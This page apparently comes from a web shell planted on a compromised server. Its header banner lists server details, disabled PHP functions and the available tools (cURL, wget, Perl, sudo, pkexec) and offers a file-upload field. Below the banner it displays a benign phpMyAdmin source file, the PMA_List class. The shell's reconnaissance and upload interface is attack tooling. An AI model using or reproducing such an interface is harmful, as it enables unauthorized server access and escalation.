Server IP : 127.0.0.2 / Your IP : 18.117.111.63 Web Server : Apache/2.4.18 (Ubuntu) System : User : www-data ( ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/phpmyadmin/libraries/ |
Upload File : |
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * hold the PMA_List base class * * @package PhpMyAdmin */ if (! defined('PHPMYADMIN')) { exit; } /** * Generic list class * * @todo add caching * @abstract * @package PhpMyAdmin * @since phpMyAdmin 2.9.10 */ abstract class PMA_List extends ArrayObject { /** * @var mixed empty item */ protected $item_empty = ''; /** * PMA_List constructor * * @param array $array The input parameter accepts an array or an * Object. * @param int $flags Flags to control the behaviour of the * ArrayObject object. * @param string $iterator_class Specify the class that will be used for * iteration of the ArrayObject object. * ArrayIterator is the default class used. */ public function __construct( $array = array(), $flags = 0, $iterator_class = "ArrayIterator" ) { parent::__construct($array, $flags, $iterator_class); } /** * defines what is an empty item (0, '', false or null) * * @return mixed an empty item */ public function getEmpty() { return $this->item_empty; } /** * checks if the given db names exists in the current list, if there is * missing at least one item it returns false otherwise true * * @return boolean true if all items exists, otherwise false */ public function exists() { $this_elements = $this->getArrayCopy(); foreach (func_get_args() as $result) { if (! in_array($result, $this_elements)) { return false; } } return true; } /** * returns HTML <option>-tags to be used inside <select></select> * * @param mixed $selected the selected db or true for * selecting current db * @param boolean $include_information_schema whether include information schema * * @return string HTML option tags */ public function getHtmlOptions( $selected = '', $include_information_schema = true ) { if (true === $selected) { $selected = $this->getDefault(); } $options = ''; foreach ($this as $each_item) { if (false === $include_information_schema && $GLOBALS['dbi']->isSystemSchema($each_item) ) { continue; } $options .= '<option value="' . htmlspecialchars($each_item) . '"'; if ($selected === $each_item) { $options .= ' selected="selected"'; } $options .= '>' . htmlspecialchars($each_item) . '</option>' . "\n"; } return $options; } /** * returns default item * * @return string default item */ public function getDefault() { return $this->getEmpty(); } /** * builds up the list * * @return void */ abstract public function build(); }